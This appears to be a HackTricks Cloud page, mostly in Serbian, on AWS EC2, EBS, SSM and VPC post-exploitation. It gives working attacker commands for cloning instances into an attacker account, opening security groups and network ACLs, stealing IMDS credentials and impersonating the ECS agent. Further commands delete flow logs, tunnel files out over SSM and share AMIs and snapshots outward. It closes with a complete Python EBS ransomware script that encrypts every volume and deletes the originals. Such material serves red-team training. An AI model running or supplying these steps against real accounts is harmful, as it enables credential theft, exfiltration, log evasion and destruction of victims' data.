AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
EC2 & VPC
Za više informacija pogledajte:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring duplicira dolazni i odlazni saobraćaj za EC2 instance unutar VPC-a bez potrebe da se bilo šta instalira na samim instancama. Ovaj duplirani saobraćaj se obično šalje nečemu poput sistema za otkrivanje mrežnih upada (IDS) radi analize i nadzora.\ Napadač bi ovo mogao zloupotrebiti da presretne sav saobraćaj i dobije osetljive informacije iz njega:
Za više informacija pogledajte ovu stranicu:
Kopiranje pokrenute instance
Instance obično sadrže neki oblik osetljivih informacija. Postoje različiti načini da se uđe (pogledajte EC2 privilege escalation tricks). Međutim, drugi način da se proveri šta sadrži je da kreirate AMI i pokrenete novu instancu (čak i u svom nalogu) iz nje:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, koji obično sadrže osetljive informacije, zato njihova provera treba da otkrije te podatke.
Ako pronađete volume without a snapshot, možete: Create a snapshot i izvršiti sledeće radnje ili ga jednostavno mount it in an instance unutar naloga:
Covert Disk Exfiltration via AMI Store-to-S3
Izvezite EC2 AMI direktno u S3 koristeći CreateStoreImageTask da dobijete raw disk image bez snapshot sharing-a. Ovo omogućava potpunu offline forenziku ili krađu podataka, a da se mrežna konfiguracija instance ne menja.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Prikačite io1/io2 Multi-Attach volume na drugu instancu i mount-ujte ga read-only da biste izvukli žive podatke bez snapshot-ova. Korisno kada ciljni volume već ima Multi-Attach omogućen u istoj AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Kreirajte EC2 Instance Connect Endpoint, autorizujte ingress i ubacite privremene SSH ključeve za pristup privatnim instancama preko managed tunela. Omogućava brze lateralne puteve bez otvaranja javnih portova.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Premestite sekundarnu privatnu IP adresu žrtvinog ENI-ja na ENI pod kontrolom napadača kako biste imitirali pouzdane hostove koji su allowlisted po IP-u. Omogućava zaobilaženje internih ACL-ova ili SG pravila vezanih za specifične adrese.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Reasocirajte Elastic IP sa žrtvine instance na napadačevu kako biste presreli dolazni saobraćaj ili inicirali odlazne konekcije koje izgledaju da dolaze sa pouzdanih javnih IP-ova.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Ako security group pravilo referencira customer-managed prefix list, dodavanje attacker CIDR-ova u listu tiho proširuje pristup kroz svako zavisno SG pravilo bez izmene samog SG.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Kreirajte gateway ili interface VPC endpoints da povratite outbound pristup iz izolovanih subnet-a. Korišćenje AWS-managed private links zaobilazi odsutne IGW/NAT kontrole za exfiltraciju podataka.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Napadač sa dozvolom ec2:AuthorizeSecurityGroupIngress može dodati inbound pravila u security groups (na primer, dozvoljavajući tcp:80 sa 0.0.0.0/0), čime izlaže interne servise javnom Internetu ili drugim neautorizovanim mrežama.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Napadač sa dozvolama ec2:ReplaceNetworkAclEntry (ili sličnim) može izmeniti subnet’s Network ACLs (NACLs) da ih učini veoma permisivnim — na primer dozvoljavajući 0.0.0.0/0 na kritičnim portovima — izlažući ceo opseg podmreže Internetu ili neovlašćenim mrežnim segmentima. Za razliku od Security Groups, koje se primenjuju po instanci, NACLs se primenjuju na nivou podmreže, pa promena restriktivnog NACL može imati mnogo veći blast radius omogućavajući pristup mnogim dodatnim hosts.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Napadač sa dozvolama ec2:Delete* i iam:Remove* može izbrisati kritične resurse infrastrukture i konfiguracije — na primer key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. To može prouzrokovati trenutni prekid servisa, gubitak podataka i gubitak forenzičkih dokaza.
Jedan primer je brisanje security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Usmerite VPC Flow Logs na S3 bucket pod kontrolom napadača da kontinuirano prikupljate mrežne metapodatke (source/destination, ports) van naloga žrtve za dugoročno izviđanje.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Čak i ako onemogućite izlazni saobraćaj sa EC2 instance, ona i dalje može exfil via DNS.
- VPC Flow Logs neće ovo zabeležiti.
- Nemate pristup AWS DNS logs.
- Onemogućite ovo tako što ćete postaviti “enableDnsSupport” na false pomoću:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Napadač može pozvati API endpoints naloga koji kontroliše. CloudTrail će evidentirati te pozive i napadač će moći da vidi izvučene podatke u CloudTrail logovima.
Open Security Group
Možete dobiti dodatni pristup mrežnim servisima otvaranjem portova na sledeći način:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
It’s possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data.
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Na ECS sa EC2 launch type-om, control plane preuzima svaki task role i šalje privremene kredencijale ECS agentu preko Agent Communication Service (ACS) WebSocket kanala. Agent zatim dostavlja te kredencijale kontejnerima putem task metadata endpoint-a (169.254.170.2). ECScape istraživanje pokazuje da ako kontejner može da dosegne IMDS i ukrade instance profile, može da se predstavi kao agent preko ACS-a i primi sve task role kredencijale na tom hostu, uključujući task execution role kredencijale koje nisu izložene preko metadata endpoint-a.
Attack chain
- Steal the container instance role from IMDS. IMDS access is required to obtain the host role used by the ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. Using the instance role credentials, call
ecs:DiscoverPollEndpointto obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Initiate a SigV4-signed WebSocket to the poll endpoint and include
sendCredentials=true. ECS accepts the connection as a valid agent session and begins streamingIamRoleCredentialsmessages for all tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Podešavanje IMDSv2 sa HttpTokens=required i HttpPutResponseHopLimit=1 blokira samo taskove koji žive iza dodatnog hop-a (Docker bridge). Ostali network mode-ovi ostaju u okviru jednog hop-a od Nitro kontrolera i i dalje dobijaju odgovore:
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | ✅ | Svaki task dobija sopstveni ENI koji je i dalje jedan hop udaljen od IMDS-a, tako da tokeni i metadata odgovori uspešno stignu. |
host | ✅ | Taskovi dele host namespace, pa vide istu udaljenost (hop) kao i EC2 instanca. |
bridge | ❌ | Odgovori umiru na Docker bridge-u zato što dodatni hop iscrpljuje hop limit. |
Dakle, nikada nemojte pretpostaviti da hop limit 1 štiti awsvpc ili host-mode workload-e—uvek testirajte iznutra kontejnera.
Detecting IMDS blocks per network mode
-
awsvpc tasks: Security groups, NACLs ili izmene u routingu ne mogu blokirati link-local adresu 169.254.169.254 zato što Nitro injektuje tu adresu na hostu. Proveri
/etc/ecs/ecs.configzaECS_AWSVPC_BLOCK_IMDS=true. Ako je flag odsutan (podrazumevano) možeš curl-ovati IMDS direktno iz taska. Ako je postavljen, pivot-uj u host/agent namespace da ga poništiš ili pokreni alate van awsvpc. -
bridge mode: Kada metadata zahtevi ne uspevaju iako je hop limit 1 konfigurisan, odbrambene mere su verovatno ubacile
DOCKER-USERdrop pravilo kao npr.--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listaiptables -S DOCKER-USERotkriva to, a root pristup ti omogućava da obrišeš ili promeniš redosled pravila pre nego što upitaš IMDS. -
host mode: Pregledaj agent konfiguraciju za
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ovo podešavanje u potpunosti uklanja task IAM role, pa moraš ili da ga ponovo omogućiš, prebaciš se na awsvpc taskove, ili ukradeš kredencijale putem drugog procesa na hostu. Kada je vrednosttrue(podrazumevano), svaki proces u host-mode-u — uključujući kompromitovane kontejnere — može dosegnuti IMDS osim ako nisu postavljeni specifični eBPF/cgroup filteri usmereni na169.254.169.254; proveri tc/eBPF programe ili iptables pravila koja referenciraju tu adresu.
Latacora je čak objavila Terraform validation code koju možeš ubaciti u ciljni account da izlistaš koji network mode-i još izlažu metadata i planiraš naredni potez u skladu s tim.
Kada razumeš koji mode-i izlažu IMDS, možeš isplanirati put post-exploitation-a: targetiraj bilo koji ECS task, zahtevaj instance profile, lažiraj agenta i prikupi sve ostale task role za lateralno kretanje ili persistenciju unutar klastera.
Ukloni VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja koje se može zloupotrebiti za pivot sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija u kojima je ovo korisno je pivot sa Bastion Host na privatni EKS cluster.
Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Instalirajte SessionManagerPlugin na svom računaru
- Prijavite se na Bastion EC2 koristeći sledeću komandu:
aws ssm start-session --target "$INSTANCE_ID"
- Nabavite privremene AWS kredencijale Bastion EC2 sa Abusing SSRF in AWS EC2 environment skriptom
- Prebacite kredencijale na svoju mašinu u
$HOME/.aws/credentialsfajl kao profil[bastion-ec2] - Prijavite se u EKS kao Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Ažurirajte polje
serveru fajlu$HOME/.kube/configda pokazuje nahttps://localhost - Napravite SSM tunel na sledeći način:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Saobraćaj sa alata
kubectlje sada preusmeren kroz SSM tunel preko Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem:
kubectl get pods --insecure-skip-tls-verify
Imajte na umu da SSL konekcije neće uspeti osim ako ne postavite zastavicu --insecure-skip-tls-verify (ili njen ekvivalent u K8s audit alatima). Pošto je saobraćaj tunelovan kroz bezbedni AWS SSM tunel, zaštićeni ste od bilo koje vrste MitM napada.
Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da pivotujete na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
Brzo lokalno ↔️ udaljeno prosleđivanje porta (AWS-StartPortForwardingSession)
Ako vam je potrebno da prosledite samo jedan TCP port sa EC2 instance na vaš lokalni host, možete koristiti AWS-StartPortForwardingSession SSM dokument (nije potreban parametar udaljenog hosta):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Komanda uspostavlja dvosmerni tunel između vaše radne stanice (localPortNumber) i izabranog porta (portNumber) na instanci bez otvaranja bilo kakvih inbound Security-Group rules.
Uobičajeni slučajevi upotrebe:
- File exfiltration
- Na instanci pokrenite brz HTTP server koji pokazuje na direktorijum koji želite da exfiltrate:
python3 -m http.server 8000
- Sa vaše radne stanice preuzmite fajlove kroz SSM tunel:
curl http://localhost:8000/loot.txt -o loot.txt
- Pristupanje internim web aplikacijama (npr. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Savet: Kompresujte i šifrujte dokaze pre eksfiltracije kako CloudTrail ne bi zapisao nešifrovani sadržaj:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Deljenje AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Pretraga osetljivih informacija u javnim i privatnim AMI-ima
- https://github.com/saw-your-packet/CloudShovel: CloudShovel je alat dizajniran za pretragu osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs). Automatizuje proces pokretanja instanci iz ciljnih AMI-ova, montiranja njihovih volumena i skeniranja radi potencijalnih tajni ili osetljivih podataka.
Deljenje EBS Snapshot-a
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Proof of concept sličan Ransomware demonstraciji prikazanoj u S3 post-exploitation beleškama. KMS bi trebalo preimenovati u RMS (Ransomware Management Service) s obzirom na to koliko je lako koristiti ga za šifrovanje različitih AWS servisa.
Prvo, iz ‘attacker’ AWS naloga, kreirajte customer managed key u KMS. Za ovaj primer pustićemo AWS da upravlja podacima ključa za nas, ali u realističnom scenariju zlonamerni akter bi zadržao podatke ključa van kontrole AWS-a. Promenite key policy tako da bilo koji AWS account Principal može koristiti ključ. Za ovu key policy, ime naloga je bilo ‘AttackSim’, a pravilo politike koje dozvoljava potpuni pristup zove se ‘Outside Encryption’.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Pravilo key policy mora imati omogućeno sledeće da bi se moglo koristiti za enkripciju EBS volumena:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Sada, kad imamo javno dostupan key za korišćenje. Možemo koristiti ‘victim’ nalog koji ima pokrenute EC2 instance sa prikačenim nekriptovanim EBS volumenima. EBS volumeni ovog ‘victim’ naloga su meta za enkripciju; ovaj napad pretpostavlja kompromitovanje AWS naloga sa visokim privilegijama.
Slično S3 ransomware primeru. Ovaj napad će napraviti kopije prikačenih EBS volumena koristeći snapshots, koristiti javno dostupan key iz ‘attacker’ naloga da enkriptuje nove EBS volumene, potom odvojiti originalne EBS volumene sa EC2 instanci i izbrisati ih, i na kraju obrisati snapshots koje su korišćene za kreiranje novih enkriptovanih EBS volumena.
Rezultat je da u nalogu ostaju samo enkriptovani EBS volumeni.
Vredno napomene: skripta je zaustavila EC2 instance da bi odvojila i obrisala originalne EBS volumene. Originalni nekriptovani volumeni su sada nestali.
Zatim se vratite na key policy u ‘attacker’ nalogu i uklonite pravilo ‘Outside Encryption’ iz key policy-a.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Sačekajte kratko da se novopodešena key policy propagira. Zatim se vratite na ‘victim’ account i pokušajte da prikačite jedan od novо-šifrovanih EBS volumena. Videćete da možete da prikačite volumen.
Međutim, kada pokušate zapravo da pokrenete EC2 instance sa prikačenim šifrovanim EBS volumenom, to će samo da zakaže i instance će iz ‘pending’ stanja vratiti u ‘stopped’ stanje zauvek, jer prikačeni EBS volume ne može biti dekriptovan pomoću ključa pošto key policy više ne dozvoljava to.
Ovo je python skript koji se koristi. On prihvata AWS creds za ‘victim’ account i javno dostupnu AWS ARN vrednost ključa koji će se koristiti za enkripciju. Skript će napraviti šifrovane kopije SVIH dostupnih EBS volumena koji su prikačeni na SVE EC2 instance u ciljanom AWS account-u, zatim zaustaviti svaku EC2 instance, odvojiti originalne EBS volumene, obrisati ih, i na kraju obrisati sve snapshots koji su korišćeni tokom procesa. Ovo će ostaviti samo šifrovane EBS volumene u ciljanom ‘victim’ account-u. KORISTITE OVAJ SKRIPT SAMO U TEST OKRUŽENJU — ON JE DESTRUKTIVAN I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći upotrebljeni KMS key i vratiti ih u prvobitno stanje putem snapshots-a, ali želim da vas upozorim da je ovo na kraju dana ransomware PoC.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Reference
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – How to transfer files in AWS using SSM
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

